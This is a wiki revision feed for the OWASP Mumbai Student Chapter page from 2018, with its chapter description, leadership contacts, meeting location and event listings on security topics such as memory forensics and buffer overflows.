&lt;div&gt;&amp;lt;div style=&amp;quot;font-size:7pt;text-align:right&amp;quot;&amp;gt;&amp;lt;/div&amp;gt;&lt;br /&gt;
Welcome to the OWASP Mumbai Student Chapter.&amp;lt;br&amp;gt;&lt;br /&gt;
The Open Web Application Security Project (OWASP) has local chapters around the world that help teach, learn, and inspire application security. Our [https://www.owasp.org/index.php/OWASP_Student_Chapters_Program Student Chapters Program] helps to extend application security into colleges and universities worldwide.&lt;br /&gt;
&lt;br /&gt;
== OWASP Mumbai Student Chapter ==&lt;br /&gt;
&lt;br /&gt;
Welcome to the Mumbai Student Chapter homepage. &lt;br /&gt;
[http://lists.owasp.org/mailman/listinfo/owasp-Mumbai-student-chapter Click here] to join the local chapter mailing list.&lt;br /&gt;
&lt;br /&gt;
== Contribution To OWASP ==&lt;br /&gt;
* [https://www.owasp.org/index.php/SQL_Injection_Bypassing_WAF SQLi ByPassing WAF]&lt;br /&gt;
* [https://www.owasp.org/index.php/XSS_Filter_Evasion_Cheat_Sheet The Popular XSS Cheat-Sheet]&lt;br /&gt;
&lt;br /&gt;
== Leadership Team ==&lt;br /&gt;
&lt;br /&gt;
The student chapter leader is &amp;lt;b&amp;gt;[https://www.owasp.org/index.php/About_OWASP/Bug_Bounty/WOF Dhiraj Mishra.]&amp;lt;/b&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
President: [mailto:mishra.dhiraj@owasp.org Dhiraj Mishra]&amp;lt;br&amp;gt;&lt;br /&gt;
Our Faculty Advisor is  [mailto:archanabhide@gmail.com Mrs.Archana Bhide]&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Participation == &lt;br /&gt;
OWASP Foundation ([https://docs.google.com/a/owasp.org/presentation/d/1ZgY25F0F7QgScMlB1X7LAa70LtyJql8XqcYdR4suPUo/edit#slide=id.p Overview Slides]) is a professional association of [https://www.owasp.org/index.php/Membership global members] and is and open to anyone interested in learning more about software security. Local chapters are run independently and guided by the [[Chapter_Leader_Handbook]].  As a [http://www.owasp.org/index.php/About_OWASP 501(c)(3)] non-profit professional association your support and sponsorship of any meeting venue and/or refreshments is tax-deductible. Financial contributions should only be made online using the authorized online chapter donation button.  To be a &amp;lt;b&amp;gt;SPEAKER&amp;lt;/b&amp;gt; at ANY OWASP Chapter in the world simply review the [http://www.owasp.org/index.php/Speaker_Agreement speaker agreement] and then contact the local chapter leader with details of what [http://www.owasp.org/index.php/Category:OWASP_Project OWASP PROJECT], independent research or related software security topic you would like to present on.&lt;br /&gt;
&lt;br /&gt;
== Meeting Location ==&lt;br /&gt;
&lt;br /&gt;
[https://fb.com/rjcollege/ Ramniranjan Jhunjhunwala College]&amp;lt;br&amp;gt;&lt;br /&gt;
Ghatkopar (West) Mumbai&amp;lt;br&amp;gt;&lt;br /&gt;
Maharashtra, India.&amp;lt;br&amp;gt;&lt;br /&gt;
Location : https://goo.gl/maps/AMRBZzRBVwk&lt;br /&gt;
&lt;br /&gt;
Everyone is welcome to join us at our chapter meetings.&lt;br /&gt;
&lt;br /&gt;
[[Category:OWASP Student Chapter]]&lt;br /&gt;
[[Category:Mumbai]]&lt;br /&gt;
[[Category:India]]&lt;br /&gt;
&lt;br /&gt;
==Upcoming Event's==&lt;br /&gt;
Date : &lt;br /&gt;
  25-08-2018 (Saturday)&lt;br /&gt;
&lt;br /&gt;
Time :&lt;br /&gt;
  09:45 AM to 12:30 PM&lt;br /&gt;
&lt;br /&gt;
Topic : &lt;br /&gt;
  Get shell like a boss.&lt;br /&gt;
&lt;br /&gt;
Venue  :&lt;br /&gt;
  IT Lab or BVoc Lab&lt;/div&gt;</summary>
		<author><name>DhirajMishra</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Mumbai_Student_Chapter&amp;diff=242469</id>
		<title>Mumbai Student Chapter</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Mumbai_Student_Chapter&amp;diff=242469"/>
				<updated>2018-08-12T15:15:37Z</updated>
		
		<summary type="html">&lt;p&gt;DhirajMishra: /*OWASP Mumbai*/&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;&amp;lt;div style=&amp;quot;font-size:7pt;text-align:right&amp;quot;&amp;gt;&amp;lt;/div&amp;gt;&lt;br /&gt;
Welcome to the OWASP Mumbai Student Chapter.&amp;lt;br&amp;gt;&lt;br /&gt;
The Open Web Application Security Project (OWASP) has local chapters around the world that help teach, learn, and inspire application security. Our [https://www.owasp.org/index.php/OWASP_Student_Chapters_Program Student Chapters Program] helps to extend application security into colleges and universities worldwide.&lt;br /&gt;
&lt;br /&gt;
== OWASP Mumbai Student Chapter ==&lt;br /&gt;
&lt;br /&gt;
Welcome to the Mumbai Student Chapter homepage. &lt;br /&gt;
[http://lists.owasp.org/mailman/listinfo/owasp-Mumbai-student-chapter Click here] to join the local chapter mailing list.&lt;br /&gt;
&lt;br /&gt;
== Contribution To OWASP ==&lt;br /&gt;
* [https://www.owasp.org/index.php/SQL_Injection_Bypassing_WAF SQLi ByPassing WAF]&lt;br /&gt;
* [https://www.owasp.org/index.php/XSS_Filter_Evasion_Cheat_Sheet The Popular XSS Cheat-Sheet]&lt;br /&gt;
&lt;br /&gt;
== Leadership Team ==&lt;br /&gt;
&lt;br /&gt;
The student chapter leader is &amp;lt;b&amp;gt;[https://www.owasp.org/index.php/About_OWASP/Bug_Bounty/WOF Dhiraj Mishra.]&amp;lt;/b&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
President: [mailto:mishra.dhiraj@owasp.org Dhiraj Mishra]&amp;lt;br&amp;gt;&lt;br /&gt;
Our Faculty Advisor is  [mailto:archanabhide@gmail.com Mrs.Archana Bhide]&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Participation == &lt;br /&gt;
OWASP Foundation ([https://docs.google.com/a/owasp.org/presentation/d/1ZgY25F0F7QgScMlB1X7LAa70LtyJql8XqcYdR4suPUo/edit#slide=id.p Overview Slides]) is a professional association of [https://www.owasp.org/index.php/Membership global members] and is and open to anyone interested in learning more about software security. Local chapters are run independently and guided by the [[Chapter_Leader_Handbook]].  As a [http://www.owasp.org/index.php/About_OWASP 501(c)(3)] non-profit professional association your support and sponsorship of any meeting venue and/or refreshments is tax-deductible. Financial contributions should only be made online using the authorized online chapter donation button.  To be a &amp;lt;b&amp;gt;SPEAKER&amp;lt;/b&amp;gt; at ANY OWASP Chapter in the world simply review the [http://www.owasp.org/index.php/Speaker_Agreement speaker agreement] and then contact the local chapter leader with details of what [http://www.owasp.org/index.php/Category:OWASP_Project OWASP PROJECT], independent research or related software security topic you would like to present on.&lt;br /&gt;
&lt;br /&gt;
== Meeting Location ==&lt;br /&gt;
&lt;br /&gt;
[https://fb.com/rjcollege/ Ramniranjan Jhunjhunwala College]&amp;lt;br&amp;gt;&lt;br /&gt;
Ghatkopar (West) Mumbai&amp;lt;br&amp;gt;&lt;br /&gt;
Maharashtra, India.&amp;lt;br&amp;gt;&lt;br /&gt;
Location : https://goo.gl/maps/AMRBZzRBVwk&lt;br /&gt;
&lt;br /&gt;
Everyone is welcome to join us at our chapter meetings.&lt;br /&gt;
&lt;br /&gt;
[[Category:OWASP Student Chapter]]&lt;br /&gt;
[[Category:Mumbai]]&lt;br /&gt;
[[Category:India]]&lt;br /&gt;
&lt;br /&gt;
==Upcoming Event's==&lt;br /&gt;
Date : &lt;br /&gt;
  25-08-2018 (Saturday)&lt;br /&gt;
&lt;br /&gt;
Time :&lt;br /&gt;
  10:15 AM to 12:30 PM&lt;br /&gt;
&lt;br /&gt;
Topic : &lt;br /&gt;
  Basics Of BufferOverflow [BoF]&lt;br /&gt;
&lt;br /&gt;
Venue  :&lt;br /&gt;
  IT Lab or BVoc Lab&lt;br /&gt;
&lt;br /&gt;
Speaker :&lt;br /&gt;
  Benedict Charles&lt;/div&gt;</summary>
		<author><name>DhirajMishra</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Mumbai_Student_Chapter&amp;diff=242145</id>
		<title>Mumbai Student Chapter</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Mumbai_Student_Chapter&amp;diff=242145"/>
				<updated>2018-07-28T15:58:04Z</updated>
		
		<summary type="html">&lt;p&gt;DhirajMishra: /* Events Taken */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;&amp;lt;div style=&amp;quot;font-size:7pt;text-align:right&amp;quot;&amp;gt;&amp;lt;/div&amp;gt;&lt;br /&gt;
Welcome to the OWASP Mumbai Student Chapter.&amp;lt;br&amp;gt;&lt;br /&gt;
The Open Web Application Security Project (OWASP) has local chapters around the world that help teach, learn, and inspire application security. Our [https://www.owasp.org/index.php/OWASP_Student_Chapters_Program Student Chapters Program] helps to extend application security into colleges and universities worldwide.&lt;br /&gt;
&lt;br /&gt;
== OWASP Mumbai Student Chapter ==&lt;br /&gt;
&lt;br /&gt;
Welcome to the Mumbai Student Chapter homepage. &lt;br /&gt;
[http://lists.owasp.org/mailman/listinfo/owasp-Mumbai-student-chapter Click here] to join the local chapter mailing list.&lt;br /&gt;
&lt;br /&gt;
== Contribution To OWASP ==&lt;br /&gt;
* [https://www.owasp.org/index.php/SQL_Injection_Bypassing_WAF SQLi ByPassing WAF]&lt;br /&gt;
* [https://www.owasp.org/index.php/XSS_Filter_Evasion_Cheat_Sheet The Popular XSS Cheat-Sheet]&lt;br /&gt;
&lt;br /&gt;
== Leadership Team ==&lt;br /&gt;
&lt;br /&gt;
The student chapter leader is &amp;lt;b&amp;gt;[https://www.owasp.org/index.php/About_OWASP/Bug_Bounty/WOF Dhiraj Mishra.]&amp;lt;/b&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
President: [mailto:mishra.dhiraj@owasp.org Dhiraj Mishra]&amp;lt;br&amp;gt;&lt;br /&gt;
Our Faculty Advisor is  [mailto:archanabhide@gmail.com Mrs.Archana Bhide]&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Participation == &lt;br /&gt;
OWASP Foundation ([https://docs.google.com/a/owasp.org/presentation/d/1ZgY25F0F7QgScMlB1X7LAa70LtyJql8XqcYdR4suPUo/edit#slide=id.p Overview Slides]) is a professional association of [https://www.owasp.org/index.php/Membership global members] and is and open to anyone interested in learning more about software security. Local chapters are run independently and guided by the [[Chapter_Leader_Handbook]].  As a [http://www.owasp.org/index.php/About_OWASP 501(c)(3)] non-profit professional association your support and sponsorship of any meeting venue and/or refreshments is tax-deductible. Financial contributions should only be made online using the authorized online chapter donation button.  To be a &amp;lt;b&amp;gt;SPEAKER&amp;lt;/b&amp;gt; at ANY OWASP Chapter in the world simply review the [http://www.owasp.org/index.php/Speaker_Agreement speaker agreement] and then contact the local chapter leader with details of what [http://www.owasp.org/index.php/Category:OWASP_Project OWASP PROJECT], independent research or related software security topic you would like to present on.&lt;br /&gt;
&lt;br /&gt;
== Meeting Location ==&lt;br /&gt;
&lt;br /&gt;
[https://fb.com/rjcollege/ Ramniranjan Jhunjhunwala College]&amp;lt;br&amp;gt;&lt;br /&gt;
Ghatkopar (West) Mumbai&amp;lt;br&amp;gt;&lt;br /&gt;
Maharashtra, India.&amp;lt;br&amp;gt;&lt;br /&gt;
Location : https://goo.gl/maps/AMRBZzRBVwk&lt;br /&gt;
&lt;br /&gt;
Everyone is welcome to join us at our chapter meetings.&lt;br /&gt;
&lt;br /&gt;
[[Category:OWASP Student Chapter]]&lt;br /&gt;
[[Category:Mumbai]]&lt;br /&gt;
[[Category:India]]&lt;br /&gt;
&lt;br /&gt;
==Event's Taken==&lt;br /&gt;
Date : &lt;br /&gt;
  28-07-2018 (Saturday)&lt;br /&gt;
&lt;br /&gt;
Time :&lt;br /&gt;
  10:15 AM to 12:30 PM&lt;br /&gt;
&lt;br /&gt;
Topic : &lt;br /&gt;
  Basics Of Forensic (Memory Forensic).&lt;br /&gt;
&lt;br /&gt;
Venue  :&lt;br /&gt;
  IT Lab&lt;br /&gt;
&lt;br /&gt;
Speaker :&lt;br /&gt;
  Sujit Nair&lt;/div&gt;</summary>
		<author><name>DhirajMishra</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Mumbai_Student_Chapter&amp;diff=241771</id>
		<title>Mumbai Student Chapter</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Mumbai_Student_Chapter&amp;diff=241771"/>
				<updated>2018-07-11T16:52:54Z</updated>
		
		<summary type="html">&lt;p&gt;DhirajMishra: /* Upcoming Event's */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;&amp;lt;div style=&amp;quot;font-size:7pt;text-align:right&amp;quot;&amp;gt;&amp;lt;/div&amp;gt;&lt;br /&gt;
Welcome to the OWASP Mumbai Student Chapter.&amp;lt;br&amp;gt;&lt;br /&gt;
The Open Web Application Security Project (OWASP) has local chapters around the world that help teach, learn, and inspire application security. Our [https://www.owasp.org/index.php/OWASP_Student_Chapters_Program Student Chapters Program] helps to extend application security into colleges and universities worldwide.&lt;br /&gt;
&lt;br /&gt;
== OWASP Mumbai Student Chapter ==&lt;br /&gt;
&lt;br /&gt;
Welcome to the Mumbai Student Chapter homepage. &lt;br /&gt;
[http://lists.owasp.org/mailman/listinfo/owasp-Mumbai-student-chapter Click here] to join the local chapter mailing list.&lt;br /&gt;
&lt;br /&gt;
== Contribution To OWASP ==&lt;br /&gt;
* [https://www.owasp.org/index.php/SQL_Injection_Bypassing_WAF SQLi ByPassing WAF]&lt;br /&gt;
* [https://www.owasp.org/index.php/XSS_Filter_Evasion_Cheat_Sheet The Popular XSS Cheat-Sheet]&lt;br /&gt;
&lt;br /&gt;
== Leadership Team ==&lt;br /&gt;
&lt;br /&gt;
The student chapter leader is &amp;lt;b&amp;gt;[https://www.owasp.org/index.php/About_OWASP/Bug_Bounty/WOF Dhiraj Mishra.]&amp;lt;/b&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
President: [mailto:mishra.dhiraj@owasp.org Dhiraj Mishra]&amp;lt;br&amp;gt;&lt;br /&gt;
Our Faculty Advisor is  [mailto:archanabhide@gmail.com Mrs.Archana Bhide]&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Participation == &lt;br /&gt;
OWASP Foundation ([https://docs.google.com/a/owasp.org/presentation/d/1ZgY25F0F7QgScMlB1X7LAa70LtyJql8XqcYdR4suPUo/edit#slide=id.p Overview Slides]) is a professional association of [https://www.owasp.org/index.php/Membership global members] and is and open to anyone interested in learning more about software security. Local chapters are run independently and guided by the [[Chapter_Leader_Handbook]].  As a [http://www.owasp.org/index.php/About_OWASP 501(c)(3)] non-profit professional association your support and sponsorship of any meeting venue and/or refreshments is tax-deductible. Financial contributions should only be made online using the authorized online chapter donation button.  To be a &amp;lt;b&amp;gt;SPEAKER&amp;lt;/b&amp;gt; at ANY OWASP Chapter in the world simply review the [http://www.owasp.org/index.php/Speaker_Agreement speaker agreement] and then contact the local chapter leader with details of what [http://www.owasp.org/index.php/Category:OWASP_Project OWASP PROJECT], independent research or related software security topic you would like to present on.&lt;br /&gt;
&lt;br /&gt;
== Meeting Location ==&lt;br /&gt;
&lt;br /&gt;
[https://fb.com/rjcollege/ Ramniranjan Jhunjhunwala College]&amp;lt;br&amp;gt;&lt;br /&gt;
Ghatkopar (West) Mumbai&amp;lt;br&amp;gt;&lt;br /&gt;
Maharashtra, India.&amp;lt;br&amp;gt;&lt;br /&gt;
Location : https://goo.gl/maps/AMRBZzRBVwk&lt;br /&gt;
&lt;br /&gt;
Everyone is welcome to join us at our chapter meetings.&lt;br /&gt;
&lt;br /&gt;
[[Category:OWASP Student Chapter]]&lt;br /&gt;
[[Category:Mumbai]]&lt;br /&gt;
[[Category:India]]&lt;br /&gt;
&lt;br /&gt;
==Upcoming Event's==&lt;br /&gt;
Date : &lt;br /&gt;
  28-07-2018 (Saturday)&lt;br /&gt;
&lt;br /&gt;
Time :&lt;br /&gt;
  10:15 AM to 12:30 PM&lt;br /&gt;
&lt;br /&gt;
Topic : &lt;br /&gt;
  Basics Of Forensic (Memory Forensic).&lt;br /&gt;
&lt;br /&gt;
Venue  :&lt;br /&gt;
  IT Lab&lt;br /&gt;
&lt;br /&gt;
Speaker :&lt;br /&gt;
  Sujit Nair&lt;/div&gt;</summary>
		<author><name>DhirajMishra</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Mumbai_Student_Chapter&amp;diff=241770</id>
		<title>Mumbai Student Chapter</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Mumbai_Student_Chapter&amp;diff=241770"/>
				<updated>2018-07-11T16:50:14Z</updated>
		
		<summary type="html">&lt;p&gt;DhirajMishra: /* Upcoming Event's */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;&amp;lt;div style=&amp;quot;font-size:7pt;text-align:right&amp;quot;&amp;gt;&amp;lt;/div&amp;gt;&lt;br /&gt;
Welcome to the OWASP Mumbai Student Chapter.&amp;lt;br&amp;gt;&lt;br /&gt;
The Open Web Application Security Project (OWASP) has local chapters around the world that help teach, learn, and inspire application security. Our [https://www.owasp.org/index.php/OWASP_Student_Chapters_Program Student Chapters Program] helps to extend application security into colleges and universities worldwide.&lt;br /&gt;
&lt;br /&gt;
== OWASP Mumbai Student Chapter ==&lt;br /&gt;
&lt;br /&gt;
Welcome to the Mumbai Student Chapter homepage. &lt;br /&gt;
[http://lists.owasp.org/mailman/listinfo/owasp-Mumbai-student-chapter Click here] to join the local chapter mailing list.&lt;br /&gt;
&lt;br /&gt;
== Contribution To OWASP ==&lt;br /&gt;
* [https://www.owasp.org/index.php/SQL_Injection_Bypassing_WAF SQLi ByPassing WAF]&lt;br /&gt;
* [https://www.owasp.org/index.php/XSS_Filter_Evasion_Cheat_Sheet The Popular XSS Cheat-Sheet]&lt;br /&gt;
&lt;br /&gt;
== Leadership Team ==&lt;br /&gt;
&lt;br /&gt;
The student chapter leader is &amp;lt;b&amp;gt;[https://www.owasp.org/index.php/About_OWASP/Bug_Bounty/WOF Dhiraj Mishra.]&amp;lt;/b&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
President: [mailto:mishra.dhiraj@owasp.org Dhiraj Mishra]&amp;lt;br&amp;gt;&lt;br /&gt;
Our Faculty Advisor is  [mailto:archanabhide@gmail.com Mrs.Archana Bhide]&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Participation == &lt;br /&gt;
OWASP Foundation ([https://docs.google.com/a/owasp.org/presentation/d/1ZgY25F0F7QgScMlB1X7LAa70LtyJql8XqcYdR4suPUo/edit#slide=id.p Overview Slides]) is a professional association of [https://www.owasp.org/index.php/Membership global members] and is and open to anyone interested in learning more about software security. Local chapters are run independently and guided by the [[Chapter_Leader_Handbook]].  As a [http://www.owasp.org/index.php/About_OWASP 501(c)(3)] non-profit professional association your support and sponsorship of any meeting venue and/or refreshments is tax-deductible. Financial contributions should only be made online using the authorized online chapter donation button.  To be a &amp;lt;b&amp;gt;SPEAKER&amp;lt;/b&amp;gt; at ANY OWASP Chapter in the world simply review the [http://www.owasp.org/index.php/Speaker_Agreement speaker agreement] and then contact the local chapter leader with details of what [http://www.owasp.org/index.php/Category:OWASP_Project OWASP PROJECT], independent research or related software security topic you would like to present on.&lt;br /&gt;
&lt;br /&gt;
== Meeting Location ==&lt;br /&gt;
&lt;br /&gt;
[https://fb.com/rjcollege/ Ramniranjan Jhunjhunwala College]&amp;lt;br&amp;gt;&lt;br /&gt;
Ghatkopar (West) Mumbai&amp;lt;br&amp;gt;&lt;br /&gt;
Maharashtra, India.&amp;lt;br&amp;gt;&lt;br /&gt;
Location : https://goo.gl/maps/AMRBZzRBVwk&lt;br /&gt;
&lt;br /&gt;
Everyone is welcome to join us at our chapter meetings.&lt;br /&gt;
&lt;br /&gt;
[[Category:OWASP Student Chapter]]&lt;br /&gt;
[[Category:Mumbai]]&lt;br /&gt;
[[Category:India]]&lt;br /&gt;
&lt;br /&gt;
==Upcoming Event's==&lt;br /&gt;
Date : &lt;br /&gt;
  28-07-2018 (Saturday)&lt;br /&gt;
&lt;br /&gt;
Time :&lt;br /&gt;
  10:15 AM to 12:30 PM&lt;br /&gt;
&lt;br /&gt;
Topic : &lt;br /&gt;
  Basics Of Forensic (Memory Forensic).&lt;br /&gt;
&lt;br /&gt;
Venue  :&lt;br /&gt;
  IT Lab&lt;br /&gt;
&lt;br /&gt;
Speaker :&lt;br /&gt;
Sujit Nair&lt;/div&gt;</summary>
		<author><name>DhirajMishra</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Mumbai_Student_Chapter&amp;diff=241690</id>
		<title>Mumbai Student Chapter</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Mumbai_Student_Chapter&amp;diff=241690"/>
				<updated>2018-07-09T11:25:10Z</updated>
		
		<summary type="html">&lt;p&gt;DhirajMishra: /*Upcoming Events*/&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;&amp;lt;div style=&amp;quot;font-size:7pt;text-align:right&amp;quot;&amp;gt;&amp;lt;/div&amp;gt;&lt;br /&gt;
Welcome to the OWASP Mumbai Student Chapter.&amp;lt;br&amp;gt;&lt;br /&gt;
The Open Web Application Security Project (OWASP) has local chapters around the world that help teach, learn, and inspire application security. Our [https://www.owasp.org/index.php/OWASP_Student_Chapters_Program Student Chapters Program] helps to extend application security into colleges and universities worldwide.&lt;br /&gt;
&lt;br /&gt;
== OWASP Mumbai Student Chapter ==&lt;br /&gt;
&lt;br /&gt;
Welcome to the Mumbai Student Chapter homepage. &lt;br /&gt;
[http://lists.owasp.org/mailman/listinfo/owasp-Mumbai-student-chapter Click here] to join the local chapter mailing list.&lt;br /&gt;
&lt;br /&gt;
== Contribution To OWASP ==&lt;br /&gt;
* [https://www.owasp.org/index.php/SQL_Injection_Bypassing_WAF SQLi ByPassing WAF]&lt;br /&gt;
* [https://www.owasp.org/index.php/XSS_Filter_Evasion_Cheat_Sheet The Popular XSS Cheat-Sheet]&lt;br /&gt;
&lt;br /&gt;
== Leadership Team ==&lt;br /&gt;
&lt;br /&gt;
The student chapter leader is &amp;lt;b&amp;gt;[https://www.owasp.org/index.php/About_OWASP/Bug_Bounty/WOF Dhiraj Mishra.]&amp;lt;/b&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
President: [mailto:mishra.dhiraj@owasp.org Dhiraj Mishra]&amp;lt;br&amp;gt;&lt;br /&gt;
Our Faculty Advisor is  [mailto:archanabhide@gmail.com Mrs.Archana Bhide]&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Participation == &lt;br /&gt;
OWASP Foundation ([https://docs.google.com/a/owasp.org/presentation/d/1ZgY25F0F7QgScMlB1X7LAa70LtyJql8XqcYdR4suPUo/edit#slide=id.p Overview Slides]) is a professional association of [https://www.owasp.org/index.php/Membership global members] and is and open to anyone interested in learning more about software security. Local chapters are run independently and guided by the [[Chapter_Leader_Handbook]].  As a [http://www.owasp.org/index.php/About_OWASP 501(c)(3)] non-profit professional association your support and sponsorship of any meeting venue and/or refreshments is tax-deductible. Financial contributions should only be made online using the authorized online chapter donation button.  To be a &amp;lt;b&amp;gt;SPEAKER&amp;lt;/b&amp;gt; at ANY OWASP Chapter in the world simply review the [http://www.owasp.org/index.php/Speaker_Agreement speaker agreement] and then contact the local chapter leader with details of what [http://www.owasp.org/index.php/Category:OWASP_Project OWASP PROJECT], independent research or related software security topic you would like to present on.&lt;br /&gt;
&lt;br /&gt;
== Meeting Location ==&lt;br /&gt;
&lt;br /&gt;
[https://fb.com/rjcollege/ Ramniranjan Jhunjhunwala College]&amp;lt;br&amp;gt;&lt;br /&gt;
Ghatkopar (West) Mumbai&amp;lt;br&amp;gt;&lt;br /&gt;
Maharashtra, India.&amp;lt;br&amp;gt;&lt;br /&gt;
Location : https://goo.gl/maps/AMRBZzRBVwk&lt;br /&gt;
&lt;br /&gt;
Everyone is welcome to join us at our chapter meetings.&lt;br /&gt;
&lt;br /&gt;
[[Category:OWASP Student Chapter]]&lt;br /&gt;
[[Category:Mumbai]]&lt;br /&gt;
[[Category:India]]&lt;br /&gt;
&lt;br /&gt;
==Upcoming Event's==&lt;br /&gt;
Date : &lt;br /&gt;
  28-07-2018 (Saturday)&lt;br /&gt;
&lt;br /&gt;
Time :&lt;br /&gt;
  10:15 AM to 12:30 PM&lt;br /&gt;
&lt;br /&gt;
Topic : &lt;br /&gt;
  TBD&lt;br /&gt;
&lt;br /&gt;
Venue  :&lt;br /&gt;
  IT Lab&lt;/div&gt;</summary>
		<author><name>DhirajMishra</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Mumbai_Student_Chapter&amp;diff=241689</id>
		<title>Mumbai Student Chapter</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Mumbai_Student_Chapter&amp;diff=241689"/>
				<updated>2018-07-09T11:23:03Z</updated>
		
		<summary type="html">&lt;p&gt;DhirajMishra: /*Upcoming Events*/&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;&amp;lt;div style=&amp;quot;font-size:7pt;text-align:right&amp;quot;&amp;gt;&amp;lt;/div&amp;gt;&lt;br /&gt;
Welcome to the OWASP Mumbai Student Chapter.&amp;lt;br&amp;gt;&lt;br /&gt;
The Open Web Application Security Project (OWASP) has local chapters around the world that help teach, learn, and inspire application security. Our [https://www.owasp.org/index.php/OWASP_Student_Chapters_Program Student Chapters Program] helps to extend application security into colleges and universities worldwide.&lt;br /&gt;
&lt;br /&gt;
== OWASP Mumbai Student Chapter ==&lt;br /&gt;
&lt;br /&gt;
Welcome to the Mumbai Student Chapter homepage. &lt;br /&gt;
[http://lists.owasp.org/mailman/listinfo/owasp-Mumbai-student-chapter Click here] to join the local chapter mailing list.&lt;br /&gt;
&lt;br /&gt;
== Contribution To OWASP ==&lt;br /&gt;
* [https://www.owasp.org/index.php/SQL_Injection_Bypassing_WAF SQLi ByPassing WAF]&lt;br /&gt;
* [https://www.owasp.org/index.php/XSS_Filter_Evasion_Cheat_Sheet The Popular XSS Cheat-Sheet]&lt;br /&gt;
&lt;br /&gt;
== Leadership Team ==&lt;br /&gt;
&lt;br /&gt;
The student chapter leader is &amp;lt;b&amp;gt;[https://www.owasp.org/index.php/About_OWASP/Bug_Bounty/WOF Dhiraj Mishra.]&amp;lt;/b&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
President: [mailto:mishra.dhiraj@owasp.org Dhiraj Mishra]&amp;lt;br&amp;gt;&lt;br /&gt;
Our Faculty Advisor is  [mailto:archanabhide@gmail.com Mrs.Archana Bhide]&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Participation == &lt;br /&gt;
OWASP Foundation ([https://docs.google.com/a/owasp.org/presentation/d/1ZgY25F0F7QgScMlB1X7LAa70LtyJql8XqcYdR4suPUo/edit#slide=id.p Overview Slides]) is a professional association of [https://www.owasp.org/index.php/Membership global members] and is and open to anyone interested in learning more about software security. Local chapters are run independently and guided by the [[Chapter_Leader_Handbook]].  As a [http://www.owasp.org/index.php/About_OWASP 501(c)(3)] non-profit professional association your support and sponsorship of any meeting venue and/or refreshments is tax-deductible. Financial contributions should only be made online using the authorized online chapter donation button.  To be a &amp;lt;b&amp;gt;SPEAKER&amp;lt;/b&amp;gt; at ANY OWASP Chapter in the world simply review the [http://www.owasp.org/index.php/Speaker_Agreement speaker agreement] and then contact the local chapter leader with details of what [http://www.owasp.org/index.php/Category:OWASP_Project OWASP PROJECT], independent research or related software security topic you would like to present on.&lt;br /&gt;
&lt;br /&gt;
== Meeting Location ==&lt;br /&gt;
&lt;br /&gt;
[https://fb.com/rjcollege/ Ramniranjan Jhunjhunwala College]&amp;lt;br&amp;gt;&lt;br /&gt;
Ghatkopar (West) Mumbai&amp;lt;br&amp;gt;&lt;br /&gt;
Maharashtra, India.&amp;lt;br&amp;gt;&lt;br /&gt;
Location : https://goo.gl/maps/AMRBZzRBVwk&lt;br /&gt;
&lt;br /&gt;
Everyone is welcome to join us at our chapter meetings.&lt;br /&gt;
&lt;br /&gt;
[[Category:OWASP Student Chapter]]&lt;br /&gt;
[[Category:Mumbai]]&lt;br /&gt;
[[Category:India]]&lt;br /&gt;
&lt;br /&gt;
==Event's taken==&lt;br /&gt;
Date : &lt;br /&gt;
  28-07-2018 (Saturday)&lt;br /&gt;
&lt;br /&gt;
Time :&lt;br /&gt;
  10:15 AM to 12:30 PM&lt;br /&gt;
&lt;br /&gt;
Topic : &lt;br /&gt;
  TBD&lt;br /&gt;
&lt;br /&gt;
Venue  :&lt;br /&gt;
  IT Lab&lt;/div&gt;</summary>
		<author><name>DhirajMishra</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Mumbai_Student_Chapter&amp;diff=241594</id>
		<title>Mumbai Student Chapter</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Mumbai_Student_Chapter&amp;diff=241594"/>
				<updated>2018-07-02T09:37:00Z</updated>
		
		<summary type="html">&lt;p&gt;DhirajMishra: /*Event's Taken*/&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;&amp;lt;div style=&amp;quot;font-size:7pt;text-align:right&amp;quot;&amp;gt;&amp;lt;/div&amp;gt;&lt;br /&gt;
Welcome to the OWASP Mumbai Student Chapter.&amp;lt;br&amp;gt;&lt;br /&gt;
The Open Web Application Security Project (OWASP) has local chapters around the world that help teach, learn, and inspire application security. Our [https://www.owasp.org/index.php/OWASP_Student_Chapters_Program Student Chapters Program] helps to extend application security into colleges and universities worldwide.&lt;br /&gt;
&lt;br /&gt;
